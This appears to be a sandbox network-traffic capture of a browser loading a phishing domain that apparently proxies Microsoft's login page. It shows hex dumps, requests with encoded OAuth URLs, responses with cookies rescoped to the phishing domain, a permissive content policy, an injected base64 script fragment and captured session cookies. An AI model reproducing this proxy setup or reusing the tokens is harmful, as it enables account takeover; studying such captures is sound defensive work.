2024-05-07 18:28:41 UTC	16384	IN	Data Raw: 74 42 69 6e 64 69 6e 67 73 53 74 72 69 6e 67 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 73 77 69 74 63 68 28 65 2e 6e 6f 64 65 54 79 70 65 29 7b 63 61 73 65 20 31 3a 72 65 74 75 72 6e 20 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 62 69 6e 64 22 29 3b 63 61 73 65 20 38 3a 72 65 74 75 72 6e 20 53 2e 68 2e 56 64 28 65 29 3b 64 65 66 61 75 6c 74 3a 72 65 74 75 72 6e 20 6e 75 6c 6c 7d 7d 2c 70 61 72 73 65 42 69 6e 64 69 6e 67 73 53 74 72 69 6e 67 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 2c 74 2c 72 29 7b 74 72 79 7b 76 61 72 20 6f 2c 69 3d 74 68 69 73 2e 6e 64 2c 61 3d 65 2b 28 72 26 26 72 2e 76 61 6c 75 65 41 63 63 65 73 73 6f 72 73 7c 7c 22 22 29 3b 69 66 28 21 28 6f 3d 69 5b 61 5d 29 29 7b 76 61 72 20 73 2c 75 3d 22 77 69 74 68 28 24 63 6f 6e Data Ascii: tBindingsString:function(e){switch(e.nodeType){case 1:return e.getAttribute("data-bind");case 8:return S.h.Vd(e);default:return null}},parseBindingsString:function(e,n,t,r){try{var o,i=this.nd,a=e+(r&&r.valueAccessors\|\|"");if(!(o=i[a])){var s,u="with($con
2024-05-07 18:28:41 UTC	16384	IN	Data Raw: 61 72 20 72 3d 74 79 70 65 6f 66 20 6e 3b 72 65 74 75 72 6e 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 72 3f 6e 28 65 29 3a 22 73 74 72 69 6e 67 22 3d 3d 72 3f 65 5b 6e 5d 3a 74 7d 66 75 6e 63 74 69 6f 6e 20 69 28 6e 2c 74 29 7b 69 66 28 68 26 26 6c 29 53 2e 69 2e 6d 61 28 65 2c 53 2e 69 2e 48 29 3b 65 6c 73 65 20 69 66 28 70 2e 6c 65 6e 67 74 68 29 7b 76 61 72 20 72 3d 30 3c 3d 53 2e 61 2e 41 28 70 2c 53 2e 77 2e 4d 28 74 5b 30 5d 29 29 3b 53 2e 61 2e 5a 63 28 74 5b 30 5d 2c 72 29 2c 68 26 26 21 72 26 26 53 2e 75 2e 47 28 53 2e 61 2e 46 62 2c 6e 75 6c 6c 2c 5b 65 2c 22 63 68 61 6e 67 65 22 5d 29 7d 7d 76 61 72 20 73 3d 65 2e 6d 75 6c 74 69 70 6c 65 2c 75 3d 30 21 3d 65 2e 6c 65 6e 67 74 68 26 26 73 3f 65 2e 73 63 72 6f 6c 6c 54 6f 70 3a 6e 75 6c 6c 2c 63 3d 53 Data Ascii: ar r=typeof n;return"function"==r?n(e):"string"==r?e[n]:t}function i(n,t){if(h&&l)S.i.ma(e,S.i.H);else if(p.length){var r=0<=S.a.A(p,S.w.M(t[0]));S.a.Zc(t[0],r),h&&!r&&S.u.G(S.a.Fb,null,[e,"change"])}}var s=e.multiple,u=0!=e.length&&s?e.scrollTop:null,c=S
2024-05-07 18:28:41 UTC	16384	IN	Data Raw: 7b 69 66 28 30 3c 3d 6c 2e 74 6d 70 6c 2e 74 61 67 2e 74 6d 70 6c 2e 6f 70 65 6e 2e 74 6f 53 74 72 69 6e 67 28 29 2e 69 6e 64 65 78 4f 66 28 22 5f 5f 22 29 29 72 65 74 75 72 6e 20 32 7d 63 61 74 63 68 28 65 29 7b 7d 72 65 74 75 72 6e 20 31 7d 28 29 3b 74 68 69 73 2e 72 65 6e 64 65 72 54 65 6d 70 6c 61 74 65 53 6f 75 72 63 65 3d 66 75 6e 63 74 69 6f 6e 28 6e 2c 74 2c 72 2c 6f 29 7b 69 66 28 6f 3d 6f 7c 7c 75 2c 72 3d 72 7c 7c 7b 7d 2c 32 3e 65 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 59 6f 75 72 20 76 65 72 73 69 6f 6e 20 6f 66 20 6a 51 75 65 72 79 2e 74 6d 70 6c 20 69 73 20 74 6f 6f 20 6f 6c 64 2e 20 50 6c 65 61 73 65 20 75 70 67 72 61 64 65 20 74 6f 20 6a 51 75 65 72 79 2e 74 6d 70 6c 20 31 2e 30 2e 30 70 72 65 20 6f 72 20 6c 61 74 65 72 2e 22 29 3b 76 Data Ascii: {if(0<=l.tmpl.tag.tmpl.open.toString().indexOf("__"))return 2}catch(e){}return 1}();this.renderTemplateSource=function(n,t,r,o){if(o=o\|\|u,r=r\|\|{},2>e)throw Error("Your version of jQuery.tmpl is too old. Please upgrade to jQuery.tmpl 1.0.0pre or later.");v
2024-05-07 18:28:41 UTC	11582	IN	Data Raw: 61 72 20 72 3d 74 28 33 29 2c 6f 3d 74 28 32 31 29 2c 69 3d 74 28 37 29 2c 61 3d 74 28 30 29 2c 73 3d 74 28 31 29 2c 75 3d 74 28 39 29 2e 67 65 74 49 6e 73 74 61 6e 63 65 28 77 69 6e 64 6f 77 2e 53 65 72 76 65 72 44 61 74 61 29 2c 63 3d 74 28 35 29 2c 6c 3d 77 69 6e 64 6f 77 2c 64 3d 6c 2e 24 43 6f 6e 66 69 67 7c 7c 6c 2e 53 65 72 76 65 72 44 61 74 61 7c 7c 7b 7d 2c 66 3d 61 2e 4f 62 6a 65 63 74 2c 70 3d 73 2e 51 75 65 72 79 53 74 72 69 6e 67 3b 65 2e 65 78 70 6f 72 74 73 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 6e 3d 74 68 69 73 2c 74 3d 21 31 21 3d 3d 28 65 3d 65 7c 7c 7b 7d 29 2e 63 68 65 63 6b 41 70 69 43 61 6e 61 72 79 2c 61 3d 65 2e 77 69 74 68 43 72 65 64 65 6e 74 69 61 6c 73 7c 7c 21 31 2c 73 3d 65 2e 62 72 65 61 6b 43 61 63 68 65 7c 7c Data Ascii: ar r=t(3),o=t(21),i=t(7),a=t(0),s=t(1),u=t(9).getInstance(window.ServerData),c=t(5),l=window,d=l.$Config\|\|l.ServerData\|\|{},f=a.Object,p=s.QueryString;e.exports=function(e){var n=this,t=!1!==(e=e\|\|{}).checkApiCanary,a=e.withCredentials\|\|!1,s=e.breakCache\|\|

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.7	49769	5.230.47.86	443	7112	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-07 18:28:41 UTC	3194	OUT	GET /?olgv469ez=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9YzA2ZmQ4MDEtMjdjYy0zMmViLTA4ZWItYWIyMjIzZWZhMzVjJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODUwNzAzMzE4NTMxNTAwMC42M2EzOTllNy00NjgxLTRmMDItYWU5Yy1mZGMyNjViYjIyNzUmc3RhdGU9RGN0QkZvQWdDQUJScmRkeFNBUUJQWTZhYmx0Ml9WajgyVTBNSVp6dWNCRTl3WlNyb0NGenJzSlpFUEZXN3R6YU1paGFNNVNOQkgyMUNmdVpwRElHa1VuMDkwcnYxOU1Q&sso_reload=true HTTP/1.1 Host: momomomomom.store Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: https://momomomomom.store/?olgv469ez=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9YzA2ZmQ4MDEtMjdjYy0zMmViLTA4ZWItYWIyMjIzZWZhMzVjJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODUwNzAzMzE4NTMxNTAwMC42M2EzOTllNy00NjgxLTRmMDItYWU5Yy1mZGMyNjViYjIyNzUmc3RhdGU9RGN0QkZvQWdDQUJScmRkeFNBUUJQWTZhYmx0Ml9WajgyVTBNSVp6dWNCRTl3WlNyb0NGenJzSlpFUEZXN3R6YU1paGFNNVNOQkgyMUNmdVpwRElHa1VuMDkwcnYxOU1Q Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=AxaeKThWurNR; qPdM.sig=CVDwFDjZ4ozcWtzyJC0GeIr7hHc; ClientId=12D705722FB7452FB0AD373906C89A99; OIDC=1; OpenIdConnect.nonce.v3.KY9sv9g9Pshs6ar1NzzU0W8N6RSqzzXDgEFN-DwDdyc=638507033185315000.63a399e7-4681-4f02-ae9c-fdc265bb2275; X-OWA-RedirectHistory=ArLym14BuGiZg8Nu3Ag; esctx-bjOzqAbNZw=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8IgemtTTC9LW7qmHaWJvJnA1zYQxhG2ND3S2cSGtRL2YYfV8ypAElv4SCgLm9Preyh1c06_YlNh1SprOxWk8jSIvJvOGIcIAVgySCfatiP6q57lOpAggEZCsval4FboUtpJcjr0RDDdCtELrntv4kayAA; fpc=AsSibJWZZjJCjo1UHVxahpU; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd80CYx3a1vXv40ORceBkSsnZh87IMQU0xdMDoD8sA1TPnl6D9SswYpnCauOXsYRC8WxDOHoTuE_wMuNraHNVsepMBS-PkS7z5cGkbQ2dkM76ceA_Ddzw0Y5JaYTwsXJ2ffjPtscKd_A5rKaGLf1MxkuuYuxXKFliet1QMFghbFODEgAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1
2024-05-07 18:28:42 UTC	2427	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: text/html; charset=utf-8 Expires: -1 Strict-Transport-Security: max-age=31536000; includeSubDomains Link: <https://aadcdn.msauth.net>; rel=preconnect; crossorigin,<https://aadcdn.msauth.net>; rel=dns-prefetch,<https://aadcdn.msftauth.net>; rel=dns-prefetch P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" x-ms-request-id: 7d5dc874-9a82-4673-b60a-d48dd6b03100 x-ms-ests-server: 2.1.17968.10 - NEULR1 ProdSlices nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0} x-ms-srs: 1.P Referrer-Policy: strict-origin-when-cross-origin Set-Cookie: buid=0.AQUAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd81MtlzOMUqai_lrQ4OehTgaI6WT4Gwez8EegyOeoZfYtQiKO797WMjrfRHJHBqBTARqxI5m3J_dUVT21LfL2OGiqaYBt2a9dxces4osRFpysgAA; expires=Thu, 06-Jun-2024 18:28:42 GMT; path=/; secure; HttpOnly; SameSite=None Set-Cookie: esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8W-fsv7Am8caeqHVPw8WIyoVIsOiN_QELm3hAg8L7YYdZSCIQsO6_guulyvonybNRYdr25beXe6dMX72VAvo1Cls1uzk4iyr5PLP0R2LyFNqUAVjaTEYWlcVyVhRhEoNGyhTqFi18lkC810TXU5UHG_4-lAK6ENVwRF3PEFyPN4cgAA; domain=momomomomom.store; path=/; secure; HttpOnly; SameSite=None Set-Cookie: esctx-pKbecVQ71y0=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd81VR_tmvu-exYpIwgmgPURr_fkT70K2nXlZqyPemUz2W2VkaV6rlqxLtIikCweQPu4jxdcTPf0uV1Hlg0nVat9wcEP45r9pAG5iF1-t_jYtA1-Wtihi6mm1w3jNdvL3xpNIURgBMsRT5uExKgnddqziAA; domain=momomomomom.store; path=/; secure; HttpOnly; SameSite=None Set-Cookie: fpc=AsSibJWZZjJCjo1UHVxahpWerOTJAQAAANlpzN0OAAAA; expires=Thu, 06-Jun-2024 18:28:42 GMT; path=/; secure; HttpOnly; SameSite=None Set-Cookie: x-ms-gateway-slice=estsfd; path=/; secure; samesite=none; httponly Date: Tue, 07 May 2024 18:28:41 GMT Connection: close content-length: 38586 Content-Security-Policy: default-src * data: blob: filesystem: about: ws: wss: 'unsafe-inline' 'unsafe-eval'; form-action * data: blob: 'unsafe-inline' 'unsafe-eval'; script-src * data: blob: 'unsafe-inline' 'unsafe-eval'; connect-src * data: blob: 'unsafe-inline'; img-src * data: blob: 'unsafe-inline'; frame-src * data: blob: filesystem: ; frame-ancestors 'self' * http://* https://* file://* about: javascript: data: blob: filesystem: ; object-src * data: blob: filesystem: 'unsafe-inline' 'unsafe-eval'; style-src * data: blob: 'unsafe-inline'; font-src * data: blob: 'unsafe-inline';
2024-05-07 18:28:42 UTC	13957	IN	Data Raw: 0d 0a 0d 0a 3c 21 2d 2d 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 2e 20 41 6c 6c 20 72 69 67 68 74 73 20 72 65 73 65 72 76 65 64 2e 20 2d 2d 3e 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 64 69 72 3d 22 6c 74 72 22 20 63 6c 61 73 73 3d 22 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 64 61 74 61 3a 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 3b 62 61 73 65 36 34 2c 5a 6e 56 75 59 33 52 70 62 32 34 67 59 79 67 70 65 32 6c 6d 4b 43 46 6b 62 32 4e 31 62 57 56 75 64 43 35 78 64 57 56 79 65 56 4e 6c 62 47 56 6a 64 47 39 79 4b 43 49 75 59 69 49 70 49 48 78 38 49 43 46 6b 62 32 4e 31 62 57 56 75 64 43 35 78 64 Data Ascii: ... Copyright (C) Microsoft Corporation. All rights reserved. --> <!DOCTYPE html> <html dir="ltr" class="" lang="en"> <head> <script src="data:text/javascript;base64,ZnVuY3Rpb24gYygpe2lmKCFkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCIuYiIpIHx8ICFkb2N1bWVudC5xd
2024-05-07 18:28:42 UTC	16384	IN	Data Raw: 6e 47 54 7a 75 38 77 57 43 32 43 33 73 44 6e 62 6c 42 61 38 6d 52 76 45 36 6e 7a 59 47 7a 33 62 74 39 50 76 41 6c 78 64 66 68 78 41 37 6d 71 41 68 30 75 70 35 73 7a 45 72 53 33 4c 4e 7a 4d 74 51 58 31 76 69 6c 70 50 39 56 4d 47 74 73 45 4b 52 35 31 77 78 79 33 66 7a 4b 33 51 70 57 5a 78 6a 34 6e 43 48 41 44 73 45 63 55 44 34 66 58 67 51 49 33 45 70 42 38 38 4a 38 49 4d 41 7a 36 39 68 42 5f 35 5f 39 58 4e 38 48 51 77 6e 77 65 6b 6b 48 79 44 55 70 6d 4b 59 39 76 54 4d 4e 6d 6c 55 79 77 35 71 61 43 30 79 76 6b 31 32 54 62 75 73 71 6d 50 56 55 5a 71 75 5a 70 50 78 78 2d 52 6f 42 62 6b 78 47 41 77 4f 62 32 42 58 4e 38 38 2d 66 48 79 37 66 5f 4c 79 32 5f 7a 46 31 49 50 4e 41 75 52 37 53 34 6d 71 4a 50 66 6b 31 71 4f 59 6d 4f 45 37 4d 59 6e 4e 4a 47 6e 55 66 56 Data Ascii: nGTzu8wWC2C3sDnblBa8mRvE6nzYGz3bt9PvAlxdfhxA7mqAh0up5szErS3LNzMtQX1vilpP9VMGtsEKR51wxy3fzK3QpWZxj4nCHADsEcUD4fXgQI3EpB88J8IMAz69hB_5_9XN8HQwnwekkHyDUpmKY9vTMNmlUyw5qaC0yvk12TbusqmPVUZquZpPxx-RoBbkxGAwOb2BXN88-fHy7f_Ly2_zF1IPNAuR7S4mqJPfk1qOYmOE7MYnNJGnUfV
2024-05-07 18:28:42 UTC	8245	IN	Data Raw: 65 2c 72 2c 74 29 7b 65 26 26 77 2e 41 64 64 28 72 2c 74 29 7d 2c 77 2e 4c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 72 29 7b 76 28 30 2c 65 2c 72 29 7d 7d 76 61 72 20 64 2c 6c 2c 66 3d 77 69 6e 64 6f 77 2c 67 3d 66 2e 64 6f 63 75 6d 65 6e 74 2c 68 3d 22 2e 63 73 73 22 3b 63 2e 4f 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 72 2c 74 29 7b 69 66 28 21 65 29 7b 74 68 72 6f 77 22 54 68 65 20 74 61 72 67 65 74 20 65 6c 65 6d 65 6e 74 20 6d 75 73 74 20 62 65 20 70 72 6f 76 69 64 65 64 20 61 6e 64 20 63 61 6e 6e 6f 74 20 62 65 20 6e 75 6c 6c 2e 22 7d 72 3f 63 2e 4f 6e 45 72 72 6f 72 28 65 2c 74 29 3a 63 2e 4f 6e 53 75 63 63 65 73 73 28 65 2c 74 29 7d 2c 63 2e 4f 6e 53 75 63 63 65 73 73 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 69 66 28 21 65 29 7b 74 68 72 6f Data Ascii: e,r,t){e&&w.Add(r,t)},w.Load=function(e,r){v(0,e,r)}}var d,l,f=window,g=f.document,h=".css";c.On=function(e,r,t){if(!e){throw"The target element must be provided and cannot be null."}r?c.OnError(e,t):c.OnSuccess(e,t)},c.OnSuccess=function(e,t){if(!e){thro

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.7	49770	5.230.47.86	443	7112	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-07 18:28:41 UTC	2249	OUT	GET /favicon.ico HTTP/1.1 Host: momomomomom.store Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://momomomomom.store/?olgv469ez=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9YzA2ZmQ4MDEtMjdjYy0zMmViLTA4ZWItYWIyMjIzZWZhMzVjJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODUwNzAzMzE4NTMxNTAwMC42M2EzOTllNy00NjgxLTRmMDItYWU5Yy1mZGMyNjViYjIyNzUmc3RhdGU9RGN0QkZvQWdDQUJScmRkeFNBUUJQWTZhYmx0Ml9WajgyVTBNSVp6dWNCRTl3WlNyb0NGenJzSlpFUEZXN3R6YU1paGFNNVNOQkgyMUNmdVpwRElHa1VuMDkwcnYxOU1Q Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=AxaeKThWurNR; qPdM.sig=CVDwFDjZ4ozcWtzyJC0GeIr7hHc; ClientId=12D705722FB7452FB0AD373906C89A99; OIDC=1; OpenIdConnect.nonce.v3.KY9sv9g9Pshs6ar1NzzU0W8N6RSqzzXDgEFN-DwDdyc=638507033185315000.63a399e7-4681-4f02-ae9c-fdc265bb2275; X-OWA-RedirectHistory=ArLym14BuGiZg8Nu3Ag; esctx-bjOzqAbNZw=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8IgemtTTC9LW7qmHaWJvJnA1zYQxhG2ND3S2cSGtRL2YYfV8ypAElv4SCgLm9Preyh1c06_YlNh1SprOxWk8jSIvJvOGIcIAVgySCfatiP6q57lOpAggEZCsval4FboUtpJcjr0RDDdCtELrntv4kayAA; fpc=AsSibJWZZjJCjo1UHVxahpU; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd80CYx3a1vXv40ORceBkSsnZh87IMQU0xdMDoD8sA1TPnl6D9SswYpnCauOXsYRC8WxDOHoTuE_wMuNraHNVsepMBS-PkS7z5cGkbQ2dkM76ceA_Ddzw0Y5JaYTwsXJ2ffjPtscKd_A5rKaGLf1MxkuuYuxXKFliet1QMFghbFODEgAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1
2024-05-07 18:28:42 UTC	1176	IN	HTTP/1.1 404 Not Found Cache-Control: private Set-Cookie: x-ms-gateway-slice=estsfd; path=/; secure; samesite=none; httponly Strict-Transport-Security: max-age=31536000; includeSubDomains P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" x-ms-request-id: dd654f96-d69d-4538-b102-60e77712b100 x-ms-ests-server: 2.1.17968.10 - WEULR1 ProdSlices nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0} x-ms-srs: 1.P Referrer-Policy: strict-origin-when-cross-origin Date: Tue, 07 May 2024 18:28:41 GMT Connection: close Content-Length: 0 Content-Security-Policy: default-src * data: blob: filesystem: about: ws: wss: 'unsafe-inline' 'unsafe-eval'; form-action * data: blob: 'unsafe-inline' 'unsafe-eval'; script-src * data: blob: 'unsafe-inline' 'unsafe-eval'; connect-src * data: blob: 'unsafe-inline'; img-src * data: blob: 'unsafe-inline'; frame-src * data: blob: filesystem: ; frame-ancestors 'self' * http://* https://* file://* about: javascript: data: blob: filesystem: ; object-src * data: blob: filesystem: 'unsafe-inline' 'unsafe-eval'; style-src * data: blob: 'unsafe-inline'; font-src * data: blob: 'unsafe-inline';

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.7	49772	5.230.47.86	443	7112	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-07 18:28:42 UTC	2734	OUT	GET /aadcdn.msauth.net/~/ests/2.1/content/cdnbundles/converged.v2.login.min_1ito3russhq-9gioj-zd4w2.css HTTP/1.1 Host: momomomomom.store Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://momomomomom.store/?olgv469ez=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9YzA2ZmQ4MDEtMjdjYy0zMmViLTA4ZWItYWIyMjIzZWZhMzVjJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODUwNzAzMzE4NTMxNTAwMC42M2EzOTllNy00NjgxLTRmMDItYWU5Yy1mZGMyNjViYjIyNzUmc3RhdGU9RGN0QkZvQWdDQUJScmRkeFNBUUJQWTZhYmx0Ml9WajgyVTBNSVp6dWNCRTl3WlNyb0NGenJzSlpFUEZXN3R6YU1paGFNNVNOQkgyMUNmdVpwRElHa1VuMDkwcnYxOU1Q&sso_reload=true Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=AxaeKThWurNR; qPdM.sig=CVDwFDjZ4ozcWtzyJC0GeIr7hHc; ClientId=12D705722FB7452FB0AD373906C89A99; OIDC=1; OpenIdConnect.nonce.v3.KY9sv9g9Pshs6ar1NzzU0W8N6RSqzzXDgEFN-DwDdyc=638507033185315000.63a399e7-4681-4f02-ae9c-fdc265bb2275; X-OWA-RedirectHistory=ArLym14BuGiZg8Nu3Ag; esctx-bjOzqAbNZw=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8IgemtTTC9LW7qmHaWJvJnA1zYQxhG2ND3S2cSGtRL2YYfV8ypAElv4SCgLm9Preyh1c06_YlNh1SprOxWk8jSIvJvOGIcIAVgySCfatiP6q57lOpAggEZCsval4FboUtpJcjr0RDDdCtELrntv4kayAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.AQUAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd81MtlzOMUqai_lrQ4OehTgaI6WT4Gwez8EegyOeoZfYtQiKO797WMjrfRHJHBqBTARqxI5m3J_dUVT21LfL2OGiqaYBt2a9dxces4osRFpysgAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8W-fsv7Am8caeqHVPw8WIyoVIsOiN_QELm3hAg8L7YYdZSCIQsO6_guulyvonybNRYdr25beXe6dMX72VAvo1Cls1uzk4iyr5PLP0R2LyFNqUAVjaTEYWlcVyVhRhEoNGyhTqFi18lkC810TXU5UHG_4-lAK6ENVwRF3PEFyPN4cgAA; esctx-pKbecVQ71y0=AQABCQEA [TRUNCATED]
